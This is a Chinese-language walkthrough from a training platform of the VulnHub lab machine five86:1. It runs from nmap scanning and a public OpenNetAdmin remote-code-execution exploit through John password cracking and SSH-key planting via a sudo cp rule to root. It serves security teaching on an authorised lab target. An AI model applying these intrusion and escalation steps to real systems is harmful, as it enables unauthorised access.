什么是靶機
學習網安攻防技術一定離不開靶機的練習。在網絡安全中,靶機是指一個存在漏洞的系統,互聯網上所有的網站(系統)都可以說是“靶機”,但是不能直接對未授權的網站(系統)進行測試。於是就出現了靶機,i春秋(https://www.ichunqiu.com/)平台也有很多關於靶場學習的課程,歡迎大家前來練習。

今天i春秋分享的是從0到1靶機實戰系列之five86:1,本次實驗的靶機來自vulnhub,名稱為five86:1,難度在中等偏上,適用於企業中從事安全研究人員對kali以及Linux ssh無驗證登錄等利用的熟悉程度。
注:i 春秋公眾號旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。

首先把靶機文件導入到虛擬機中,網絡模式設置為NAT,然后使用netdiscover找到靶機的IP。


當然使用nmap也是可以的。
Nmap -A 192.***/24
可以發現該網段下所有主機和一些基本的信息:

開放了三個端口,分別是22,80和1000(這個1000端口下其實沒啥有用的東西,差不多是個幌子)
我們還是訪問一下80端口,看看有什么:

直接訪問的話首頁是空的,查看源代碼也看不到任何內容,不過我們剛才用nmap掃這個IP的時候,看到根目錄下其實是有一個robots.txt文件的,訪問后得到一個目錄ona。

這里可以看出搭建了一個opennetadmin服務,提示我們是guest賬戶登陸。

知道了搭建的服務名稱,那么我們可以到exploit-db找一下看看有沒有相關已公開的exp。
從exploit-db搜索到了兩個可用的exp,一個是metasploit版本的rb文件,另一個是Linux腳本文件。

這兩個都是可以使用的,這里我分別列出兩種簡單的使用方法。
Linux shell 版
首先從exploit-db上復制這個rb文件到本地並保存為exp.sh(名字隨意,只要沒有中文就行),然后使用chmod +x exp.sh或chmod 755 exp.sh設置權限。

接着運行./exp.sh http://192.168.26.146/ona 得到shell。

metasploit版
kali中內置了一個用於查找exp的工具searchsploit,使用searchsploit opennetadmin搜索到三個可用exp。

這里需要注意的是,不清楚什么原因,搜索到的.sh文件並不能夠直接運行,會報錯,只能復制內容到新文件才可以。從搜索結果可以看到exp的文件路徑,在metasploit的exploits文件夾下新建一個文件夾opennetadmin,然后使用:
cp /usr/share/exploitdb/exploits/php/webapps/47772.rb -r /usr/share/metasploit-framework/modules/exploits/opennetadmin/exp.rb
把exp復制到metasploit下,因為metasploit本身沒有內置這個exp,所以我們只能使用這種方式把exp添加到metasploit的庫中。

接下來啟動msfconsole
search opennetadmin搜索我們剛創建的exp文件夾

使用use /exploits/opennetadmin/exp應用該實例,show options查看一下需要設置的參數。

我們只需要設置目標IP rhost以及本地IP lhost即可。
set rhost 192.168.26.146Set lhost 192.168.26.138 (kali的IP)

Run開啟exp即可成功建立一個session。

shell進入,看一下id為www-data。

然后搜索一下有哪些文件是當前賬戶可以查看到的。
find / -type f -user www-data

從搜索結果中看到我們對var/www/html/reports/.htaccess是有權限的,cat查看一下文件內容。

從.htaccess文件得到另一個文件地址。
這里是一個提示,給出了一個用戶名Douglas和一個加密后的密碼,而且密碼是由aefhrt組成的十位字符串。

我們可以使用kali中的crunch工具先生成一個密碼字典。
crunch 10 10 aefhrt > password.txt
password.txt中就是由aefhrt組成的全部十位字符串。

然后使用John the ripper(jtr)這款工具進行比對測試用戶密碼。
john —wordlist=password.txt hash.txt
幾分鍾后我們得到了Douglas的密碼fatherrrrr。

有了賬號密碼,我的第一反應是ssh,試了一下,成功登錄douglas。

Sudo -l 看一下當前賬號的權限,發現對jen這個用戶我們只能使用cp也就是復制功能,對於jen這個用戶的文件我們沒有任何讀的權限,但是請注意,這里我發現jen其實是允許無密碼登錄的,也就是說我們可以使用ssh密鑰直接登錄到這個賬號。

但是jen目錄下沒有.ssh這個文件夾,也沒有密鑰文件,所以我們需要重新生成並把密鑰文件復制到jen用戶目錄下,而且jen用戶對Douglas這個用戶文件沒有操作權限,所以不能直接復制Douglas的ssh文件,需要把它放到二者都有權限的/tmp臨時目錄中去。
ssh-keygen -b 2048生成一個ssh密鑰

cp .ssh/id_rsa.pub /tmp/authorized_keys
切到tmp文件夾,把文件復制到jen/下
sudo -u jen /bin/cp authorized_keys /home/jen/.ssh/
到這里基本上Douglas的任務就完成啦
我們連接到Jen

剛進來就提示我們有一封新郵件,mail查看一下郵件內容。

這里其實提示的很明顯了,就是說moss這個用戶的密碼被修改為Fire!Fire!了,那我們就直接登錄moss。

進入到moss賬戶,ls -la一下發現個隱藏文件夾game。

進入后運行upyourgame腳本

看下ID確實是root權限,然后直奔/root/flag.txg,完成挑戰!

總的來說這個靶機還是有一定難度的,尤其是提權那一塊,后來跟作者請教了一下,提示“不要想着從jen里獲取到東西,要想辦法把東西扔到jen文件夾里”這才茅塞頓開,順利解開題目,非常不錯的靶機。